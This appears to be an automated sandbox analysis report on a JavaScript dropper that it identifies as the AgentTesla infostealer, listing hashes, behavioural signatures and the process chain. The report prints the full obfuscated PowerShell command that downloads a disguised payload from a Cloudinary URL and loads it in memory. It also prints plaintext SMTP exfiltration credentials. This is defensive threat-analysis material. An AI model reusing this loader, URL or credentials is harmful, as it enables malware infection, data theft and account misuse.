Analysis

  • max time kernel
    118s
  • max time network
    122s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2025 03:53

General

  • Target

    f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30.js

  • Size

    73KB

  • MD5

    99ea1ce1d4123a7538e0810d2bb919b8

  • SHA1

    ec8ee7dc4ea3ce0045f1a6569b945f586aeaf7cf

  • SHA256

    f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30

  • SHA512

    210cf92fc65479b91a2874b60b14bf599a356a392c066f41501d571e8182fc2eb938217be20fdf6196d7cb20e53bb90698509b2c16c7e5c0ad630aa930cb939b

  • SSDEEP

    1536:y54izQ6VsYh/t5MKvJIp4LkWnwK7mMcAtRwK9t:yRzQ6V1/vVld

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

exe.dropper

https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg%20

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    novida.com.br
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    joymywife12345PT

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\f6f06d960291d57697aaba85675aad68e6c677b91ef42d1a04ad84a3e9b54a30.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4148
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = 'K3YVb/sr.e#sap//:sp##h';$restoredText = $originalText -replace '#', 't';$moralizer = 'https://res.cloudinary.com/drqpeaaky/image/upload/v1737456477/b6fxidzmtogras7c2a5j.jpg ';$carmaker = New-Object System.Net.WebClient;$jhoom = $carmaker.DownloadData($moralizer);$dialogues = [System.Text.Encoding]::UTF8.GetString($jhoom);$roily = '<<BASE64_START>>';$fugues = '<<BASE64_END>>';$noncatalog = $dialogues.IndexOf($roily);$documentarist = $dialogues.IndexOf($fugues);$noncatalog -ge 0 -and $documentarist -gt $noncatalog;$noncatalog += $roily.Length;$modifier = $documentarist - $noncatalog;$Indianization = $dialogues.Substring($noncatalog, $modifier);$acetifications = -join ($Indianization.ToCharArray() | ForEach-Object { $_ })[-1..-($Indianization.Length)];$romalea = [System.Convert]::FromBase64String($acetifications);$resend = [System.Reflection.Assembly]::Load($romalea);$jickajog = [dnlib.IO.Home].GetMethod('VAI');$jickajog.Invoke($null, @($restoredText, 'glistens', 'glistens', 'glistens', 'RegAsm', 'glistens', 'glistens','glistens','glistens','glistens','glistens','glistens','1','glistens','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5080
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:2296

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rg4ykjgb.2mi.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2296-18-0x0000000000400000-0x0000000000444000-memory.dmp

    Filesize

    272KB

  • memory/2296-27-0x0000000006A00000-0x0000000006A0A000-memory.dmp

    Filesize

    40KB

  • memory/2296-26-0x0000000006AE0000-0x0000000006B72000-memory.dmp

    Filesize

    584KB

  • memory/2296-25-0x0000000006A40000-0x0000000006ADC000-memory.dmp

    Filesize

    624KB

  • memory/2296-24-0x0000000006950000-0x00000000069A0000-memory.dmp

    Filesize

    320KB

  • memory/2296-23-0x0000000005390000-0x00000000053F6000-memory.dmp

    Filesize

    408KB

  • memory/2296-22-0x0000000005840000-0x0000000005DE4000-memory.dmp

    Filesize

    5.6MB

  • memory/5080-13-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-17-0x000001B066E80000-0x000001B066FDA000-memory.dmp

    Filesize

    1.4MB

  • memory/5080-21-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-16-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-14-0x00007FFE304F3000-0x00007FFE304F5000-memory.dmp

    Filesize

    8KB

  • memory/5080-15-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-1-0x00007FFE304F3000-0x00007FFE304F5000-memory.dmp

    Filesize

    8KB

  • memory/5080-12-0x00007FFE304F0000-0x00007FFE30FB1000-memory.dmp

    Filesize

    10.8MB

  • memory/5080-2-0x000001B054730000-0x000001B054752000-memory.dmp

    Filesize

    136KB